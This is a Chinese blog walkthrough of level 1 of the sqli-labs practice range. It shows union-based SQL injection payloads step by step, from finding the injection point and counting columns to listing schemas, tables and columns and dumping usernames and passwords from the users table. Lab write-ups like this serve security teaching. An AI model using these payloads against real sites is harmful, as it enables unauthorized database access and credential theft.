解密 sqli靶场第一关:一步一步学习 SQL 注入技术

 

目录

一、判断是否存在注入点

二、构造类似?id=1' --+的语句

三、判断数据表中的列数

四、使用union联合查询

五、使用group_concat()函数

六、爆出数据库中的表名

七、爆出users表中的列名

八、爆出users表中的数据


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

打开 sqli靶场第一关,以下是通关思路:

一、判断是否存在注入点

首先进行初步的试探,构造?id=1 and 1=1,页面正常

构造?id=1 and 1=2,页面正常

继续构造?id=1' and '1'='1,页面正常

构造?id=1' and '1'='2 ,页面无回显,判断为字符型注入。

二、构造类似?id=1' --+的语句

构造类似?id=1' --+的语句,我们可以在 ?id=1' 和 --+ 中间插入select语句,进行我们想要的操作。

在这个注入尝试中,' 是一个闭合单引号,用于关闭原始的查询语句中的引号,并添加注释符 -- 来注释掉后续的语句。+ 是空格的URL编码表示,用于在URL中表示空格。

三、判断数据表中的列数

这一步是为了使用union联合查询。

构造?id=1' order by 5 --+,出现如图回显,说明5超出了数据表中列的范围

构造?id=1' order by 4 --+,仍然超出

构造?id=1' order by 3 --+,正常回显,说明当前表只有3列

四、使用union联合查询

联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列,列的数据类型必须兼容。

构造如下语句:

?id=1' union select 1,2,schema_name from information_schema.schemata--+

后来发现只回显了数据库的第一行

继续构造

?id=' union select 1,2,schema_name from information_schema.schemata--+

这里去掉了id=1'中的1,使其为空。结果是我们终于回显出了数据库名

五、使用group_concat()函数

group_concat()函数是 MySQL 中的聚合函数,用于将多行数据按照指定的分隔符连接为一个字符串。

这里我们可以使用group_concat()函数,一次性的把库名显示出来:

?id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

六、爆出数据库中的表名

我们可以爆出数据库中的表名了,这里以information_schema为例

构造如下语句:

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

七、爆出users表中的列名

构造如下语句获得users表中的列名:

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

八、爆出users表中的数据

我们还能继续获得信息

(1)查看users表中所有的用户:

?id=' union select 1,2,group_concat(username) from security.users --+

(2)查看users表中所有的用户密码:

?id=' union select 1,2,group_concat(password) from security.users --+

(3)concat_ws(':',A,B)函数拼接信息:

这里可以用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

sqli靶场第一关通关思路到此结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/221351.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阿里云MQTT: 子设备上线流程

0. 背景 阿里云网关子设备上平台的资料很少。有些厂家直接配置每个子设备的DeviceSecret到网关里,显然太麻烦了!我经过阅读阿里文档,发现有些简化的方法,更便于客户使用,因此分享给大家。 1. 主要信息片段 子设备 $…

共享模型之无锁

目录 无锁实现线程安全 无锁与synchronized效率对比 原子整数 原子引用类型 ABA问题 原子数组 字段更新器 原子累加器LongAdder LongAdder源码分析 Unsafe cas修改对象属性值 案例 对于银行取钱来说,需要保证线程安全,一个1w的账户由1k个线程…

Spring Boot 改版如何解决?使用阿里云创建项目、使用IDEA进行创建

接上次博客:JavaEE进阶(2)SpringBoot 快速上手(环境准备、Maven:核心功能,Maven仓库、第⼀个SpringBoot程序:Spring介绍,Spring Boot介绍、创建项目)-CSDN博客 目录 使…

单片机学习5——外部中断程序

#include<reg52.h>unsigned char a; sbit lcden P3^4;void main() {lcden0;EA1;EX01;IT00;a0xF0; //点亮4位小灯while(1){P1a;} }//中断服务程序 void ext0() interrupt 0 // 0 表示的是外部中断源0 {a0x0f; // 中断处理完&#xff0c;再返回主…

论文阅读:C2VIR-SLAM: Centralized Collaborative Visual-Inertial-Range SLAM

前言 论文全程为C2VIR-SLAM: Centralized Collaborative Visual-Inertial-Range Simultaneous Localization and Mapping&#xff0c;是发表在MDPI drones&#xff08;二区&#xff0c;IF4.8&#xff09;上的一篇论文。这篇文章使用单目相机、惯性测量单元( IMU )和UWB设备作为…

JVM基础篇:垃圾回收

1.前言 1.1C/C的内存管理 在C/C这类没有自动垃圾回收机制的语言中&#xff0c;一个对象如果不再使用&#xff0c;需要手动释放&#xff0c;否则就会出现内存泄漏。我们称这种释放对象的过程为垃圾回收&#xff0c;而需要程序员编写代码进行回收的方式为手动回收。内存泄漏指的…

数据库基础教程之序列自增设置(三)

点击public来选择一个模式。 选择其他-》序列。 选择新建序列。 设置序列参数&#xff08;最大值不超过2的63次方-1&#xff09;。 点击保存。 刷新序列列表&#xff0c;可以看见新建序列。 设置主键自增 打开设计表-》选中字段-》默认值设置为&#xff1a;nextval(‘log_text’…

苹果cms搭建教程附带免费模板

准备工作: 一台服务器域名源码安装好NGINX+PHP7.0+MYSQL5.5 安装php7.0的扩展,fileinfo和 sg11,不安装网站会搭建失败。 两个扩展都全部安装好了之后 点击-服务-重载配置 这样我们的网站环境就配置完成啦 下载苹果cms 苹果cms程序github链接:选择mac10!下载即可 http…

pytorch中的激活函数详解

1 激活函数介绍 1.1 什么是激活函数 激活函数是神经网络中引入的非线性函数&#xff0c;用于捕获数据中的复杂关系。它来自动物界的灵感&#xff0c;动物的神经元会接受来自对它有作用的其他神经元的信号&#xff0c;当然这些信号对该神经元的作用大小不同&#xff08;即具有不…

Flask WTForms 表单插件的使用

在Web应用中&#xff0c;表单处理是一个基本而常见的任务。Python的WTForms库通过提供表单的结构、验证和渲染等功能&#xff0c;简化了表单的处理流程。与此同时&#xff0c;Flask的扩展Flask-WTF更进一步地整合了WTForms&#xff0c;为开发者提供了更便捷、灵活的表单处理方式…

Java PriorityQueue

一般情况下, 我们使用队列是为了能够建造队列的先进先出 (First-In-First-Out) 模式的, 达到一种资源的公平分配, 先到达的任务 (元素) 先处理, 但有时需要在队列中基于优先级处理对象。 存入队列中的任务 (元素) 具有优先级, 需要根据优先级修复里面的数据。而在 JDK 1.5 引入…

最火web大屏可视化编辑器

前言&#xff1a; 乐吾乐Le5le大屏可视化设计器&#xff0c;零代码实现物联网、工业智能制造等领域的可视化大屏、触摸屏端UI以及工控可视化的解决方案。同时也是一个Web组态工具&#xff0c;支持2D、3D等多种形式&#xff0c;用于构建具有实时数据展示、监控预警、丰富交互的组…